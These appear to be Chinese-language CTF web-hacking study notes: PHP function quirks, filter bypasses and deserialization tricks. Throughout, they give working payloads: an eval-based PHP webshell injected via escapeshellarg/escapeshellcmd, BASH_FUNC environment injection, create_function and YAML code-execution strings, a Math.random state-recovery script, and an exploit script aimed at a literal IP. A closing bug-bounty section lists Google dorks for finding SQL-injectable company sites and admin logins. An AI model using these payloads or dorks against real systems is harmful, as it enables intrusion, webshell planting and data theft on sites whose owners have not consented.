-->php伪协议-->data://text/plain,I have a dream-->
file_put_contents()
<?php$dir = "/path/to/directory/"; // 替换为要保存文件的目录路径$code = "echo 'Hello, World!';"; // 替换为要写入文件的 PHP 代码$fuxkfile = " // additional content"; // 替换为要写入文件的额外内容
file_put_contents($dir . "index.php", "<?php ".$code.$fuxkfile);***\*?>
例题里面的fuckfile为?>闭合
Payload=?><?=nl%09/*
getip()
Client-ip控制
Include()
php伪协议读取-->pear文件包含-->session文件包含
· 伪协议读文件二次URL编码
· 打opcache缓存
· 包含pearcmd装马
· 靶机可以出网
· 靶机不能出网
· 绕过包含次数限制
· include2shell
· compress.zlib生成临时文件
· 包含nginx临时文件
intval
If(intval($a))-->数组a[]绕过
Is_number()
是数字返回1
Math.random()
#!/usr/bin/python3 import z3,struct,sys sequence = [0.6199046082820001, 0.6623637813965961, 0.7190181683749095, 0.06169296721449724, 0.915799780594273] sequence = sequence[::-1] solver = z3.Solver() se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64) for i in range(len(sequence)): se_s1 = se_state0 se_s0 = se_state1 se_state0 = se_s0 se_s1 ^= se_s1 << 23 se_s1 ^= z3.LShR(se_s1, 17) se_s1 ^= se_s0 se_s1 ^= z3.LShR(se_s0, 26) se_state1 = se_s1 float_64 = struct.pack("d", sequence[i] + 1) u_long_long_64 = struct.unpack("<Q", float_64)[0] mantissa = u_long_long_64 & ((1 << 52) - 1) solver.add(int(mantissa) == z3.LShR(se_state0, 12)) if solver.check() == z3.sat: model = solver.model() states = {} for state in model.decls(): states[state.str()] = model[state] state0 = states["se_state0"].as_long() u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000 float_64 = struct.pack("<Q", u_long_long_64) next_sequence = struct.unpack("d", float_64)[0] next_sequence -= 1 print(next_sequence)
Pathinfo()
-
你可以通过以下方式访问 `pathinfo()` 返回的关联数组中的不同信息： - `$info['dirname']`：返回文件所在目录的路径。 - `$info['basename']`：返回文件的完整基本名称（包含文件名和扩展名）。 - `$info['extension']`：返回文件的扩展名。 - `$info['filename']`：返回文件的名称（不包含扩展名）。
toLowerCase
这个"K"的“小写”字符是k，也就是"K".toLowerCase() == 'k'.
toUpperCase
这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I'，"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。
Array_search
test[]=0绕过
Call_user_func
ctfshow=ctfshow::getFlag 前面类后面方法
ctfshow[0]=ctfshow&ctfshow[1]=getFlag #POST
phpinfo
putenv
[BASH_FUNC_echo%25%25]=()%20{%20cat /f*;%20}
我是如何利用环境变量注入执行任意命令-腾讯云开发者社区-腾讯云
直接连
prase_str()
GET方法传参_POST[key1]=36d
parse_str()将字符串解析到*POST*数组中，数组此时就有了一个键值对
此时，效果上相当于以POST方法传参 key1=36d
Strpos()
//匹配到即可 php://filter/read=convert.base64-encode/woofers/resource=flag这里伪协议的协议中都指定了特定的协议键，识别到woofers时不认识会忽略掉，但这道题却能够绕过strpos函数
escapeshellcmd
反斜线（\）会在以下字符之前插入： &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 “ 仅在不配对儿的时候被转义。
escapeshellarg() + escapeshellcmd()
传入的参数是：172.17.0.2' -v -d a=1经过escapeshellarg处理后变成了'172.17.0.2''' -v -d a=1'，即先对单引号转义，再用单引号将左右两部分括起来从而起到连接的作用。经过escapeshellcmd处理后变成'172.17.0.2'\'' -v -d a=1'，这是因为escapeshellcmd对\以及最后那个****不配对儿的引号进行了转义：PHP: escapeshellcmd - Manual最后执行的命令是curl '172.17.0.2'\'' -v -d a=1'，由于中间的\被解释为\而不再是转义字符，所以后面的'没有被转义，与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'，即向172.17.0.2\发起请求，POST 数据为a=1'。
样例：' <?= @eval($_POST["pd"]);?> -oG pd.phtml '
Exit（）
php死亡exit()绕过 - xiaolong's blog
****Data()
注意date函数可以进行转义 把/f\l\a\g转化为/flag
****Create_function()
$nss_shell = create_function($shell,$nss);
shell=){}system('cat /f*');//&nss=123
参数可控：****};system($_POST[1]);//
匿名函数在使用后名称是\000lambda_1，每次使用都会加1，这样构造d0g3使匿名函数闭合，执行
其他函数，name为\000lambda_+payload⻓度，即可进入执行命令
普通上传会吃掉\000
import requests
req = requests.session()
with open('1.txt','a+') as f:
for i in range(1,33):
str = "\000"
payload = """?d0g3=11111include'"]);}phpinfo();/*&name="""
payload = payload + str+'lambda_30'
res=req.get("http://47.108.206.43:36321"+payload)
print(res.text,file=f)
****Yaml.load()
"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}
****$_REQUEST
同时接受post和get，但优先接受post可以进行绕过
****$_SERVER['QUERY_STRING']
用url编码绕过
toUpperCase()
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
toLowerCase():
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
****fastcgi_pass
Gopher打fastcgi
反序列化题目：
if (!preg_match("/[a-zA-Z0-9~-_=!\^+()]/", $this->gg2)) {
通过正则可以触发tostring
****字符逃逸
字符逃逸的本质其实也是闭合，但是它分为两种情况，一是字符变多，二是字符变少
字符增多
****溢出多少看";i:1;s:2:"20";}这个长度
字符减少
要使用两个变量进行控制，第一段进行变少覆盖掉原来的第二段，吃到第二个的hello停止，这样直接开启下一个，而下一个刚好是自己控制的，因为s:54被吃掉所以自由控制后面，
那第一个变量就是我们逃逸出来的
hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}
里面包括自己构造随机一个变量
****Destruct触发
public function __destruct(){
global $flag;
echo $flag;
}
· *字符过滤绕过：*函数名, 方法名, 类名不区分大小写
if(preg_match('/ctfshow/', $cs)){
区分大小写的： 变量名、常量名、数组索引（键名key）不区分大小写的：函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
****绕过throw new Exception 强制GC回收执行__destruct()函数
#O:4:"test":1:{s:5:"test1";s:2:"aa";}//将此处1改为0即可正常销毁 $str='O:4:"test":0:{s:5:"test1";s:2:"aa";}';
Fastapi
发现其自带交互式API文档，访问/docs页，有采用POST方式传参的/cccalccc页，参数q传入计算式得到结果。
综合例题
常见问题
1.读取文件读不到？
尝试PHP协议读取
File=php://filter/convert.base64-encode/resource=flag.php
-
MD5拓展长度攻击(hashpump)
Input Signature #现有哈希值（题目给的MD5）
Input Data #已知字符串
Input Key Length #为密文（salt）长度
Input Data to Add #为补位后自己加的字符串（自定义）
src挖洞之路：
新手入门：
开挖之路心得入门
1.AVWS的安装
2.thinkphp检测漏洞
java -javaagent:rexha.jar -jar rexha.jar
查询平台：
ICP备案查询子域名-https://beian.miit.gov/#/Integrated/recordQuery
whois域名反查-域名Whois查询 - 站长工具
子域名查询-https://chaziyu、ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名
站长之家：百度权重查询 - 站长工具
备案查询：https://beian.miit.gov/ 鹰图平台
ip地址查询：IP地址查询 - 在线工具 ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名
sql漏洞：
google语法：
公司inurl:php?id=
公司inurl:asp?id=
公司inurl:aspx?id=
后台：inurl：/admin/login.php
inurl:'Product.asp?BigClassName'
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